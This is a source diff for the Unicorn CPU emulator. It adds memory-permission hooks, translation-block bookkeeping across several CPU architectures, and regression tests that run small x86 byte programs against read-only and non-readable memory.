|
if (uc->hook_mem_idx && mr == NULL) {
|
||||||
if (!((uc_cb_eventmem_t)env->uc->hook_callbacks[env->uc->hook_mem_idx].callback)(
|
if (!((uc_cb_eventmem_t)uc->hook_callbacks[uc->hook_mem_idx].callback)(
|
||||||
env->uc, UC_MEM_WRITE, addr, DATA_SIZE, (int64_t)val,
|
uc, UC_MEM_WRITE, addr, DATA_SIZE, (int64_t)val,
|
||||||
env->uc->hook_callbacks[env->uc->hook_mem_idx].user_data)) {
|
uc->hook_callbacks[uc->hook_mem_idx].user_data)) {
|
||||||
// save error & quit
|
// save error & quit
|
||||||
env->invalid_addr = addr;
|
env->invalid_addr = addr;
|
||||||
env->invalid_error = UC_ERR_MEM_WRITE;
|
env->invalid_error = UC_ERR_MEM_WRITE;
|
||||||
// printf("***** Invalid memory write at " TARGET_FMT_lx "\n", addr);
|
// printf("***** Invalid memory write at " TARGET_FMT_lx "\n", addr);
|
||||||
cpu_exit(env->uc->current_cpu);
|
cpu_exit(uc->current_cpu);
|
||||||
return;
|
return;
|
||||||
} else {
|
} else {
|
||||||
env->invalid_error = UC_ERR_OK;
|
env->invalid_error = UC_ERR_OK;
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// Unicorn: callback on read only memory
|
||||||
|
if (mr != NULL && !(mr->perms & UC_PROT_WRITE)) { //read only memory
|
||||||
|
bool result = false;
|
||||||
|
if (uc->hook_mem_idx) {
|
||||||
|
result = ((uc_cb_eventmem_t)uc->hook_callbacks[uc->hook_mem_idx].callback)(
|
||||||
|
uc, UC_MEM_WRITE_NW, addr, DATA_SIZE, (int64_t)val,
|
||||||
|
uc->hook_callbacks[uc->hook_mem_idx].user_data);
|
||||||
|
}
|
||||||
|
if (result) {
|
||||||
|
env->invalid_error = UC_ERR_OK;
|
||||||
|
}
|
||||||
|
else {
|
||||||
|
env->invalid_addr = addr;
|
||||||
|
env->invalid_error = UC_ERR_MEM_WRITE_NW;
|
||||||
|
// printf("***** Invalid memory write (ro) at " TARGET_FMT_lx "\n", addr);
|
||||||
|
cpu_exit(uc->current_cpu);
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
/* Adjust the given return address. */
|
/* Adjust the given return address. */
|
||||||
retaddr -= GETPC_ADJ;
|
retaddr -= GETPC_ADJ;
|
||||||
|
|
||||||
@ -659,6 +752,8 @@ void helper_be_st_name(CPUArchState *env, target_ulong addr, DATA_TYPE val,
|
|||||||
Undo that for the recursion. */
|
Undo that for the recursion. */
|
||||||
glue(helper_ret_stb, MMUSUFFIX)(env, addr + i, val8,
|
glue(helper_ret_stb, MMUSUFFIX)(env, addr + i, val8,
|
||||||
mmu_idx, retaddr + GETPC_ADJ);
|
mmu_idx, retaddr + GETPC_ADJ);
|
||||||
|
if (env->invalid_error != UC_ERR_OK)
|
||||||
|
break;
|
||||||
}
|
}
|
||||||
return;
|
return;
|
||||||
}
|
}
|
||||||
|
@ -11044,6 +11044,7 @@ void gen_intermediate_code_internal_a64(ARMCPU *cpu,
|
|||||||
int num_insns;
|
int num_insns;
|
||||||
int max_insns;
|
int max_insns;
|
||||||
TCGContext *tcg_ctx = env->uc->tcg_ctx;
|
TCGContext *tcg_ctx = env->uc->tcg_ctx;
|
||||||
|
bool block_full = false;
|
||||||
|
|
||||||
pc_start = tb->pc;
|
pc_start = tb->pc;
|
||||||
|
|
||||||
@ -11105,7 +11106,9 @@ void gen_intermediate_code_internal_a64(ARMCPU *cpu,
|
|||||||
tcg_clear_temp_count();
|
tcg_clear_temp_count();
|
||||||
|
|
||||||
// Unicorn: trace this block on request
|
// Unicorn: trace this block on request
|
||||||
if (env->uc->hook_block) {
|
// Only hook this block if it is not broken from previous translation due to
|
||||||
|
// full translation cache
|
||||||
|
if (env->uc->hook_block && !env->uc->block_full) {
|
||||||
struct hook_struct *trace = hook_find(env->uc, UC_HOOK_BLOCK, pc_start);
|
struct hook_struct *trace = hook_find(env->uc, UC_HOOK_BLOCK, pc_start);
|
||||||
if (trace) {
|
if (trace) {
|
||||||
// save block address to see if we need to patch block size later
|
// save block address to see if we need to patch block size later
|
||||||
@ -11186,6 +11189,11 @@ void gen_intermediate_code_internal_a64(ARMCPU *cpu,
|
|||||||
dc->pc < next_page_start &&
|
dc->pc < next_page_start &&
|
||||||
num_insns < max_insns);
|
num_insns < max_insns);
|
||||||
|
|
||||||
|
/* if too long translation, save this info */
|
||||||
|
if (tcg_ctx->gen_opc_ptr >= gen_opc_end || num_insns >= max_insns) {
|
||||||
|
block_full = true;
|
||||||
|
}
|
||||||
|
|
||||||
//if (tb->cflags & CF_LAST_IO) {
|
//if (tb->cflags & CF_LAST_IO) {
|
||||||
// gen_io_end();
|
// gen_io_end();
|
||||||
//}
|
//}
|
||||||
@ -11251,4 +11259,6 @@ done_generating:
|
|||||||
tb->size = dc->pc - pc_start;
|
tb->size = dc->pc - pc_start;
|
||||||
tb->icount = num_insns;
|
tb->icount = num_insns;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
env->uc->block_full = block_full;
|
||||||
}
|
}
|
||||||
|
@ -11149,6 +11149,7 @@ static inline void gen_intermediate_code_internal(ARMCPU *cpu,
|
|||||||
int num_insns;
|
int num_insns;
|
||||||
int max_insns;
|
int max_insns;
|
||||||
TCGContext *tcg_ctx = env->uc->tcg_ctx;
|
TCGContext *tcg_ctx = env->uc->tcg_ctx;
|
||||||
|
bool block_full = false;
|
||||||
|
|
||||||
/* generate intermediate code */
|
/* generate intermediate code */
|
||||||
|
|
||||||
@ -11228,7 +11229,9 @@ static inline void gen_intermediate_code_internal(ARMCPU *cpu,
|
|||||||
tcg_clear_temp_count();
|
tcg_clear_temp_count();
|
||||||
|
|
||||||
// Unicorn: trace this block on request
|
// Unicorn: trace this block on request
|
||||||
if (env->uc->hook_block) {
|
// Only hook this block if it is not broken from previous translation due to
|
||||||
|
// full translation cache
|
||||||
|
if (env->uc->hook_block && !env->uc->block_full) {
|
||||||
struct hook_struct *trace = hook_find(env->uc, UC_HOOK_BLOCK, pc_start);
|
struct hook_struct *trace = hook_find(env->uc, UC_HOOK_BLOCK, pc_start);
|
||||||
if (trace) {
|
if (trace) {
|
||||||
// save block address to see if we need to patch block size later
|
// save block address to see if we need to patch block size later
|
||||||
@ -11398,6 +11401,11 @@ static inline void gen_intermediate_code_internal(ARMCPU *cpu,
|
|||||||
//gen_io_end();
|
//gen_io_end();
|
||||||
}
|
}
|
||||||
|
|
||||||
|
/* if too long translation, save this info */
|
||||||
|
if (tcg_ctx->gen_opc_ptr >= gen_opc_end || num_insns >= max_insns) {
|
||||||
|
block_full = true;
|
||||||
|
}
|
||||||
|
|
||||||
/* At this stage dc->condjmp will only be set when the skipped
|
/* At this stage dc->condjmp will only be set when the skipped
|
||||||
instruction was a conditional branch or trap, and the PC has
|
instruction was a conditional branch or trap, and the PC has
|
||||||
already been written. */
|
already been written. */
|
||||||
@ -11502,6 +11510,8 @@ done_generating:
|
|||||||
tb->size = dc->pc - pc_start;
|
tb->size = dc->pc - pc_start;
|
||||||
//tb->icount = num_insns;
|
//tb->icount = num_insns;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
env->uc->block_full = block_full;
|
||||||
}
|
}
|
||||||
|
|
||||||
void gen_intermediate_code(CPUARMState *env, TranslationBlock *tb)
|
void gen_intermediate_code(CPUARMState *env, TranslationBlock *tb)
|
||||||
|
@ -8254,7 +8254,7 @@ static inline void gen_intermediate_code_internal(uint8_t *gen_opc_cc_op,
|
|||||||
uint64_t flags;
|
uint64_t flags;
|
||||||
target_ulong pc_start;
|
target_ulong pc_start;
|
||||||
target_ulong cs_base;
|
target_ulong cs_base;
|
||||||
int num_insns;
|
int num_insns = 0;
|
||||||
int max_insns;
|
int max_insns;
|
||||||
bool block_full = false;
|
bool block_full = false;
|
||||||
|
|
||||||
@ -8339,12 +8339,18 @@ static inline void gen_intermediate_code_internal(uint8_t *gen_opc_cc_op,
|
|||||||
// done with initializing TCG variables
|
// done with initializing TCG variables
|
||||||
env->uc->init_tcg = true;
|
env->uc->init_tcg = true;
|
||||||
|
|
||||||
|
// early check to see if the address of this block is the until address
|
||||||
|
if (tb->pc == env->uc->addr_end) {
|
||||||
|
gen_tb_start(tcg_ctx);
|
||||||
|
gen_interrupt(dc, 0x99, tb->pc - tb->cs_base, tb->pc - tb->cs_base);
|
||||||
|
goto done_generating;
|
||||||
|
}
|
||||||
|
|
||||||
gen_opc_end = tcg_ctx->gen_opc_buf + OPC_MAX_SIZE;
|
gen_opc_end = tcg_ctx->gen_opc_buf + OPC_MAX_SIZE;
|
||||||
|
|
||||||
dc->is_jmp = DISAS_NEXT;
|
dc->is_jmp = DISAS_NEXT;
|
||||||
pc_ptr = pc_start;
|
pc_ptr = pc_start;
|
||||||
lj = -1;
|
lj = -1;
|
||||||
num_insns = 0;
|
|
||||||
max_insns = tb->cflags & CF_COUNT_MASK;
|
max_insns = tb->cflags & CF_COUNT_MASK;
|
||||||
if (max_insns == 0)
|
if (max_insns == 0)
|
||||||
max_insns = CF_COUNT_MASK;
|
max_insns = CF_COUNT_MASK;
|
||||||
|
@ -3076,6 +3076,7 @@ gen_intermediate_code_internal(M68kCPU *cpu, TranslationBlock *tb,
|
|||||||
int num_insns;
|
int num_insns;
|
||||||
int max_insns;
|
int max_insns;
|
||||||
TCGContext *tcg_ctx = env->uc->tcg_ctx;
|
TCGContext *tcg_ctx = env->uc->tcg_ctx;
|
||||||
|
bool block_full = false;
|
||||||
|
|
||||||
/* generate intermediate code */
|
/* generate intermediate code */
|
||||||
pc_start = tb->pc;
|
pc_start = tb->pc;
|
||||||
@ -3101,7 +3102,9 @@ gen_intermediate_code_internal(M68kCPU *cpu, TranslationBlock *tb,
|
|||||||
max_insns = CF_COUNT_MASK;
|
max_insns = CF_COUNT_MASK;
|
||||||
|
|
||||||
// Unicorn: trace this block on request
|
// Unicorn: trace this block on request
|
||||||
if (env->uc->hook_block) {
|
// Only hook this block if it is not broken from previous translation due to
|
||||||
|
// full translation cache
|
||||||
|
if (env->uc->hook_block && !env->uc->block_full) {
|
||||||
struct hook_struct *trace = hook_find(env->uc, UC_HOOK_BLOCK, pc_start);
|
struct hook_struct *trace = hook_find(env->uc, UC_HOOK_BLOCK, pc_start);
|
||||||
if (trace) {
|
if (trace) {
|
||||||
// save block address to see if we need to patch block size later
|
// save block address to see if we need to patch block size later
|
||||||
@ -3145,6 +3148,10 @@ gen_intermediate_code_internal(M68kCPU *cpu, TranslationBlock *tb,
|
|||||||
(pc_offset) < (TARGET_PAGE_SIZE - 32) &&
|
(pc_offset) < (TARGET_PAGE_SIZE - 32) &&
|
||||||
num_insns < max_insns);
|
num_insns < max_insns);
|
||||||
|
|
||||||
|
/* if too long translation, save this info */
|
||||||
|
if (tcg_ctx->gen_opc_ptr >= gen_opc_end || num_insns >= max_insns)
|
||||||
|
block_full = true;
|
||||||
|
|
||||||
//if (tb->cflags & CF_LAST_IO)
|
//if (tb->cflags & CF_LAST_IO)
|
||||||
// gen_io_end();
|
// gen_io_end();
|
||||||
if (unlikely(cs->singlestep_enabled)) {
|
if (unlikely(cs->singlestep_enabled)) {
|
||||||
@ -3187,6 +3194,8 @@ gen_intermediate_code_internal(M68kCPU *cpu, TranslationBlock *tb,
|
|||||||
|
|
||||||
//optimize_flags();
|
//optimize_flags();
|
||||||
//expand_target_qops();
|
//expand_target_qops();
|
||||||
|
|
||||||
|
env->uc->block_full = block_full;
|
||||||
}
|
}
|
||||||
|
|
||||||
void gen_intermediate_code(CPUM68KState *env, TranslationBlock *tb)
|
void gen_intermediate_code(CPUM68KState *env, TranslationBlock *tb)
|
||||||
|
@ -19172,6 +19172,7 @@ gen_intermediate_code_internal(MIPSCPU *cpu, TranslationBlock *tb,
|
|||||||
int is_slot = 0;
|
int is_slot = 0;
|
||||||
TCGContext *tcg_ctx = env->uc->tcg_ctx;
|
TCGContext *tcg_ctx = env->uc->tcg_ctx;
|
||||||
TCGArg *save_opparam_ptr = NULL;
|
TCGArg *save_opparam_ptr = NULL;
|
||||||
|
bool block_full = false;
|
||||||
|
|
||||||
if (search_pc)
|
if (search_pc)
|
||||||
qemu_log("search pc %d\n", search_pc);
|
qemu_log("search pc %d\n", search_pc);
|
||||||
@ -19207,7 +19208,9 @@ gen_intermediate_code_internal(MIPSCPU *cpu, TranslationBlock *tb,
|
|||||||
LOG_DISAS("\ntb %p idx %d hflags %04x\n", tb, ctx.mem_idx, ctx.hflags);
|
LOG_DISAS("\ntb %p idx %d hflags %04x\n", tb, ctx.mem_idx, ctx.hflags);
|
||||||
|
|
||||||
// Unicorn: trace this block on request
|
// Unicorn: trace this block on request
|
||||||
if (env->uc->hook_block) {
|
// Only hook this block if it is not broken from previous translation due to
|
||||||
|
// full translation cache
|
||||||
|
if (env->uc->hook_block && !env->uc->block_full) {
|
||||||
struct hook_struct *trace = hook_find(env->uc, UC_HOOK_BLOCK, pc_start);
|
struct hook_struct *trace = hook_find(env->uc, UC_HOOK_BLOCK, pc_start);
|
||||||
if (trace) {
|
if (trace) {
|
||||||
// save block address to see if we need to patch block size later
|
// save block address to see if we need to patch block size later
|
||||||
@ -19251,7 +19254,7 @@ gen_intermediate_code_internal(MIPSCPU *cpu, TranslationBlock *tb,
|
|||||||
// Unicorn: end address tells us to stop emulation
|
// Unicorn: end address tells us to stop emulation
|
||||||
if (ctx.pc == ctx.uc->addr_end) {
|
if (ctx.pc == ctx.uc->addr_end) {
|
||||||
generate_exception(&ctx, EXCP_SYSCALL);
|
generate_exception(&ctx, EXCP_SYSCALL);
|
||||||
insn_bytes = 0;
|
break;
|
||||||
} else {
|
} else {
|
||||||
// Unicorn: save param buffer
|
// Unicorn: save param buffer
|
||||||
if (env->uc->hook_insn)
|
if (env->uc->hook_insn)
|
||||||
@ -19315,6 +19318,11 @@ gen_intermediate_code_internal(MIPSCPU *cpu, TranslationBlock *tb,
|
|||||||
//if (singlestep)
|
//if (singlestep)
|
||||||
// break;
|
// break;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
if (tcg_ctx->gen_opc_ptr >= gen_opc_end || num_insns >= max_insns) {
|
||||||
|
block_full = true;
|
||||||
|
}
|
||||||
|
|
||||||
//if (tb->cflags & CF_LAST_IO) {
|
//if (tb->cflags & CF_LAST_IO) {
|
||||||
// gen_io_end();
|
// gen_io_end();
|
||||||
//}
|
//}
|
||||||
@ -19350,6 +19358,8 @@ done_generating:
|
|||||||
tb->size = ctx.pc - pc_start;
|
tb->size = ctx.pc - pc_start;
|
||||||
tb->icount = num_insns;
|
tb->icount = num_insns;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
env->uc->block_full = block_full;
|
||||||
}
|
}
|
||||||
|
|
||||||
void gen_intermediate_code (CPUMIPSState *env, struct TranslationBlock *tb)
|
void gen_intermediate_code (CPUMIPSState *env, struct TranslationBlock *tb)
|
||||||
|
@ -5383,6 +5383,7 @@ static inline void gen_intermediate_code_internal(SPARCCPU *cpu,
|
|||||||
int max_insns;
|
int max_insns;
|
||||||
unsigned int insn;
|
unsigned int insn;
|
||||||
TCGContext *tcg_ctx = env->uc->tcg_ctx;
|
TCGContext *tcg_ctx = env->uc->tcg_ctx;
|
||||||
|
bool block_full = false;
|
||||||
|
|
||||||
memset(dc, 0, sizeof(DisasContext));
|
memset(dc, 0, sizeof(DisasContext));
|
||||||
dc->uc = env->uc;
|
dc->uc = env->uc;
|
||||||
@ -5405,7 +5406,9 @@ static inline void gen_intermediate_code_internal(SPARCCPU *cpu,
|
|||||||
max_insns = CF_COUNT_MASK;
|
max_insns = CF_COUNT_MASK;
|
||||||
|
|
||||||
// Unicorn: trace this block on request
|
// Unicorn: trace this block on request
|
||||||
if (env->uc->hook_block) {
|
// Only hook this block if it is not broken from previous translation due to
|
||||||
|
// full translation cache
|
||||||
|
if (env->uc->hook_block && !env->uc->block_full) {
|
||||||
struct hook_struct *trace = hook_find(env->uc, UC_HOOK_BLOCK, pc_start);
|
struct hook_struct *trace = hook_find(env->uc, UC_HOOK_BLOCK, pc_start);
|
||||||
if (trace) {
|
if (trace) {
|
||||||
// save block address to see if we need to patch block size later
|
// save block address to see if we need to patch block size later
|
||||||
@ -5473,6 +5476,10 @@ static inline void gen_intermediate_code_internal(SPARCCPU *cpu,
|
|||||||
(dc->pc - pc_start) < (TARGET_PAGE_SIZE - 32) &&
|
(dc->pc - pc_start) < (TARGET_PAGE_SIZE - 32) &&
|
||||||
num_insns < max_insns);
|
num_insns < max_insns);
|
||||||
|
|
||||||
|
/* if too long translation, save this info */
|
||||||
|
if (tcg_ctx->gen_opc_ptr >= gen_opc_end || num_insns >= max_insns)
|
||||||
|
block_full = true;
|
||||||
|
|
||||||
exit_gen_loop:
|
exit_gen_loop:
|
||||||
//if (tb->cflags & CF_LAST_IO) {
|
//if (tb->cflags & CF_LAST_IO) {
|
||||||
// gen_io_end();
|
// gen_io_end();
|
||||||
@ -5506,6 +5513,8 @@ static inline void gen_intermediate_code_internal(SPARCCPU *cpu,
|
|||||||
tb->size = last_pc + 4 - pc_start;
|
tb->size = last_pc + 4 - pc_start;
|
||||||
tb->icount = num_insns;
|
tb->icount = num_insns;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
env->uc->block_full = block_full;
|
||||||
}
|
}
|
||||||
|
|
||||||
void gen_intermediate_code(CPUSPARCState * env, TranslationBlock * tb)
|
void gen_intermediate_code(CPUSPARCState * env, TranslationBlock * tb)
|
||||||
|
@ -73,6 +73,7 @@ static inline void uc_common_init(struct uc_struct* uc)
|
|||||||
uc->pause_all_vcpus = pause_all_vcpus;
|
uc->pause_all_vcpus = pause_all_vcpus;
|
||||||
uc->vm_start = vm_start;
|
uc->vm_start = vm_start;
|
||||||
uc->memory_map = memory_map;
|
uc->memory_map = memory_map;
|
||||||
|
uc->readonly_mem = memory_region_set_readonly;
|
||||||
|
|
||||||
if (!uc->release)
|
if (!uc->release)
|
||||||
uc->release = release_common;
|
uc->release = release_common;
|
||||||
|
@ -1,7 +1,11 @@
|
|||||||
CFLAGS += -I../include
|
CFLAGS += -I../include
|
||||||
LDFLAGS = -L.. -lunicorn
|
LDFLAGS = -L.. -lunicorn
|
||||||
|
|
||||||
TESTS = map_crash sigill sigill2 block_test
|
TESTS = map_crash map_write
|
||||||
|
TESTS += sigill sigill2
|
||||||
|
TESTS += block_test
|
||||||
|
TESTS += ro_mem_test nr_mem_test
|
||||||
|
TESTS += timeout_segfault
|
||||||
|
|
||||||
all: $(TESTS)
|
all: $(TESTS)
|
||||||
|
|
||||||
|
@ -39,7 +39,7 @@ int main() {
|
|||||||
}
|
}
|
||||||
fprintf(stderr, "ok %d - uc_open\n", count++);
|
fprintf(stderr, "ok %d - uc_open\n", count++);
|
||||||
|
|
||||||
err = uc_mem_map(uc, 0x1000000, 4096);
|
err = uc_mem_map(uc, 0x1000000, 4096, UC_PROT_ALL);
|
||||||
if (err != UC_ERR_OK) {
|
if (err != UC_ERR_OK) {
|
||||||
fprintf(stderr, "not ok %d - %s\n", count++, uc_strerror(err));
|
fprintf(stderr, "not ok %d - %s\n", count++, uc_strerror(err));
|
||||||
exit(0);
|
exit(0);
|
||||||
|
13
regress/emu_stop_segfault.py
Executable file
13
regress/emu_stop_segfault.py
Executable file
@ -0,0 +1,13 @@
|
|||||||
|
#!/usr/bin/python
|
||||||
|
|
||||||
|
"""See https://github.com/unicorn-engine/unicorn/issues/65"""
|
||||||
|
|
||||||
|
import unicorn
|
||||||
|
ADDR = 0x10101000
|
||||||
|
mu = unicorn.Uc(unicorn.UC_ARCH_X86, unicorn.UC_MODE_32)
|
||||||
|
mu.mem_map(ADDR, 1024 * 4)
|
||||||
|
mu.mem_write(ADDR, b'\x41')
|
||||||
|
mu.emu_start(ADDR, ADDR + 1, count=1)
|
||||||
|
# The following should not trigger a null pointer dereference
|
||||||
|
mu.emu_stop()
|
||||||
|
|
@ -4,9 +4,10 @@
|
|||||||
#include <stdlib.h>
|
#include <stdlib.h>
|
||||||
|
|
||||||
#define UC_BUG_WRITE_SIZE 13000
|
#define UC_BUG_WRITE_SIZE 13000
|
||||||
#define UC_BUG_WRITE_ADDR 0x1000 // fix this by change this to 0x2000
|
#define UC_BUG_WRITE_ADDR 0x1000
|
||||||
|
|
||||||
int main() {
|
int main()
|
||||||
|
{
|
||||||
int size;
|
int size;
|
||||||
uint8_t *buf;
|
uint8_t *buf;
|
||||||
struct uc_struct *uc;
|
struct uc_struct *uc;
|
||||||
@ -22,8 +23,8 @@ int main() {
|
|||||||
return 1;
|
return 1;
|
||||||
}
|
}
|
||||||
memset (buf, 0, size);
|
memset (buf, 0, size);
|
||||||
if (!uc_mem_map(uc, UC_BUG_WRITE_ADDR, size)) {
|
if (!uc_mem_map (uc, UC_BUG_WRITE_ADDR, size, UC_PROT_ALL)) {
|
||||||
uc_mem_write(uc, UC_BUG_WRITE_ADDR, buf, size);
|
uc_mem_write (uc, UC_BUG_WRITE_ADDR, buf, size);
|
||||||
}
|
}
|
||||||
uc_close(uc);
|
uc_close(uc);
|
||||||
return 0;
|
return 0;
|
||||||
|
50
regress/map_write.c
Normal file
50
regress/map_write.c
Normal file
@ -0,0 +1,50 @@
|
|||||||
|
#include <unicorn/unicorn.h>
|
||||||
|
#include <stdio.h>
|
||||||
|
#include <stdlib.h>
|
||||||
|
|
||||||
|
#define ADDR 0x00400000
|
||||||
|
#define SIZE 1024*64
|
||||||
|
#define OVERFLOW 1
|
||||||
|
|
||||||
|
int main()
|
||||||
|
{
|
||||||
|
uch uh;
|
||||||
|
uint8_t *buf, *buf2;
|
||||||
|
int i;
|
||||||
|
uc_err err;
|
||||||
|
|
||||||
|
err = uc_open (UC_ARCH_X86, UC_MODE_64, &uh);
|
||||||
|
if (err) {
|
||||||
|
printf ("uc_open %d\n", err);
|
||||||
|
return 1;
|
||||||
|
}
|
||||||
|
err = uc_mem_map (uh, ADDR, SIZE, UC_PROT_ALL);
|
||||||
|
if (err) {
|
||||||
|
printf ("uc_mem_map %d\n", err);
|
||||||
|
return 1;
|
||||||
|
}
|
||||||
|
buf = calloc (SIZE*2, 1);
|
||||||
|
buf2 = calloc (SIZE, 1);
|
||||||
|
for (i=0;i<SIZE; i++) {
|
||||||
|
buf[i] = i & 0xff;
|
||||||
|
}
|
||||||
|
/* crash here */
|
||||||
|
err = uc_mem_write (uh, ADDR, buf, SIZE+OVERFLOW);
|
||||||
|
if (err) {
|
||||||
|
printf ("uc_mem_map %d\n", err);
|
||||||
|
return 1;
|
||||||
|
}
|
||||||
|
err = uc_mem_read (uh, ADDR+10, buf2, 4);
|
||||||
|
if (err) {
|
||||||
|
printf ("uc_mem_map %d\n", err);
|
||||||
|
return 1;
|
||||||
|
}
|
||||||
|
if (buf2[0] != 0xa) {
|
||||||
|
printf ("mem contents are wrong\n");
|
||||||
|
return 1;
|
||||||
|
}
|
||||||
|
printf ("OK\n");
|
||||||
|
free (buf);
|
||||||
|
free (buf2);
|
||||||
|
return 0;
|
||||||
|
}
|
@ -5,4 +5,4 @@ uc = Uc(UC_ARCH_X86, UC_MODE_32)
|
|||||||
uc.mem_map(0x0000, 0x2000)
|
uc.mem_map(0x0000, 0x2000)
|
||||||
uc.mem_map(0x2000, 0x4000)
|
uc.mem_map(0x2000, 0x4000)
|
||||||
uc.mem_write(0x1000, 0x1004 * ' ')
|
uc.mem_write(0x1000, 0x1004 * ' ')
|
||||||
print 'Not reached on x86_64 Linux.'
|
print 'If not reached, then we have BUG (crash on x86_64 Linux).'
|
||||||
|
109
regress/nr_mem_test.c
Normal file
109
regress/nr_mem_test.c
Normal file
@ -0,0 +1,109 @@
|
|||||||
|
/*
|
||||||
|
Non-readable memory test case
|
||||||
|
|
||||||
|
Copyright(c) 2015 Chris Eagle
|
||||||
|
|
||||||
|
This program is free software; you can redistribute it and/or
|
||||||
|
modify it under the terms of the GNU General Public License
|
||||||
|
version 2 as published by the Free Software Foundation.
|
||||||
|
|
||||||
|
This program is distributed in the hope that it will be useful,
|
||||||
|
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||||
|
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||||
|
GNU General Public License for more details.
|
||||||
|
|
||||||
|
You should have received a copy of the GNU General Public License
|
||||||
|
along with this program; if not, write to the Free Software
|
||||||
|
Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA.
|
||||||
|
|
||||||
|
*/
|
||||||
|
|
||||||
|
#include <inttypes.h>
|
||||||
|
#include <string.h>
|
||||||
|
#include <unistd.h>
|
||||||
|
|
||||||
|
#include <unicorn/unicorn.h>
|
||||||
|
|
||||||
|
const uint8_t PROGRAM[] =
|
||||||
|
"\x8b\x1d\x00\x00\x30\x00\xa1\x00\x00\x40\x00";
|
||||||
|
// total size: 11 bytes
|
||||||
|
|
||||||
|
/*
|
||||||
|
bits 32
|
||||||
|
|
||||||
|
mov ebx, [0x300000]
|
||||||
|
mov eax, [0x400000]
|
||||||
|
*/
|
||||||
|
|
||||||
|
// callback for tracing memory access (READ or WRITE)
|
||||||
|
static bool hook_mem_invalid(uch handle, uc_mem_type type,
|
||||||
|
uint64_t address, int size, int64_t value, void *user_data)
|
||||||
|
{
|
||||||
|
|
||||||
|
switch(type) {
|
||||||
|
default:
|
||||||
|
// return false to indicate we want to stop emulation
|
||||||
|
return false;
|
||||||
|
case UC_MEM_READ_NR:
|
||||||
|
printf(">>> non-readable memory is being read at 0x%"PRIx64 ", data size = %u\n",
|
||||||
|
address, size);
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
int main(int argc, char **argv, char **envp)
|
||||||
|
{
|
||||||
|
uch handle, trace1, trace2;
|
||||||
|
uc_err err;
|
||||||
|
uint32_t eax, ebx;
|
||||||
|
|
||||||
|
printf("Memory protections test\n");
|
||||||
|
|
||||||
|
// Initialize emulator in X86-32bit mode
|
||||||
|
err = uc_open(UC_ARCH_X86, UC_MODE_32, &handle);
|
||||||
|
if (err) {
|
||||||
|
printf("Failed on uc_open() with error returned: %u\n", err);
|
||||||
|
return 1;
|
||||||
|
}
|
||||||
|
|
||||||
|
uc_mem_map(handle, 0x100000, 0x1000, UC_PROT_READ);
|
||||||
|
uc_mem_map(handle, 0x300000, 0x1000, UC_PROT_READ | UC_PROT_WRITE);
|
||||||
|
uc_mem_map(handle, 0x400000, 0x1000, UC_PROT_WRITE);
|
||||||
|
|
||||||
|
// write machine code to be emulated to memory
|
||||||
|
if (uc_mem_write(handle, 0x100000, PROGRAM, sizeof(PROGRAM))) {
|
||||||
|
printf("Failed to write emulation code to memory, quit!\n");
|
||||||
|
return 2;
|
||||||
|
} else {
|
||||||
|
printf("Allowed to write to read only memory via uc_mem_write\n");
|
||||||
|
}
|
||||||
|
|
||||||
|
uc_mem_write(handle, 0x300000, (const uint8_t*)"\x41\x41\x41\x41", 4);
|
||||||
|
uc_mem_write(handle, 0x400000, (const uint8_t*)"\x42\x42\x42\x42", 4);
|
||||||
|
|
||||||
|
//uc_hook_add(handle, &trace2, UC_HOOK_CODE, hook_code, NULL, (uint64_t)0x400000, (uint64_t)0x400fff);
|
||||||
|
|
||||||
|
// intercept invalid memory events
|
||||||
|
uc_hook_add(handle, &trace1, UC_HOOK_MEM_INVALID, hook_mem_invalid, NULL);
|
||||||
|
|
||||||
|
// emulate machine code in infinite time
|
||||||
|
printf("BEGIN execution\n");
|
||||||
|
err = uc_emu_start(handle, 0x100000, 0x100000 + sizeof(PROGRAM), 0, 2);
|
||||||
|
if (err) {
|
||||||
|
printf("Expected failure on uc_emu_start() with error returned %u: %s\n",
|
||||||
|
err, uc_strerror(err));
|
||||||
|
} else {
|
||||||
|
printf("UNEXPECTED uc_emu_start returned UC_ERR_OK\n");
|
||||||
|
}
|
||||||
|
printf("END execution\n");
|
||||||
|
|
||||||
|
uc_reg_read(handle, UC_X86_REG_EAX, &eax);
|
||||||
|
printf("Final eax = 0x%x\n", eax);
|
||||||
|
uc_reg_read(handle, UC_X86_REG_EBX, &ebx);
|
||||||
|
printf("Final ebx = 0x%x\n", ebx);
|
||||||
|
|
||||||
|
uc_close(&handle);
|
||||||
|
|
||||||
|
return 0;
|
||||||
|
}
|
207
regress/ro_mem_test.c
Normal file
207
regress/ro_mem_test.c
Normal file
@ -0,0 +1,207 @@
|
|||||||
|
/*
|
||||||
|
Non-writable memory test case
|
||||||
|
|
||||||
|
Copyright(c) 2015 Chris Eagle
|
||||||
|
|
||||||
|
This program is free software; you can redistribute it and/or
|
||||||
|
modify it under the terms of the GNU General Public License
|
||||||
|
version 2 as published by the Free Software Foundation.
|
||||||
|
|
||||||
|
This program is distributed in the hope that it will be useful,
|
||||||
|
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||||
|
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||||
|
GNU General Public License for more details.
|
||||||
|
|
||||||
|
You should have received a copy of the GNU General Public License
|
||||||
|
along with this program; if not, write to the Free Software
|
||||||
|
Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA.
|
||||||
|
|
||||||
|
*/
|
||||||
|
|
||||||
|
#include <inttypes.h>
|
||||||
|
#include <string.h>
|
||||||
|
#include <unistd.h>
|
||||||
|
|
||||||
|
#include <unicorn/unicorn.h>
|
||||||
|
|
||||||
|
const uint8_t PROGRAM[] =
|
||||||
|
"\xeb\x1a\x58\x83\xc0\x04\x83\xe0\xfc\x83\xc0\x01\xc7\x00\x78\x56"
|
||||||
|
"\x34\x12\x83\xc0\x07\xc7\x00\x21\x43\x65\x87\x90\xe8\xe1\xff\xff"
|
||||||
|
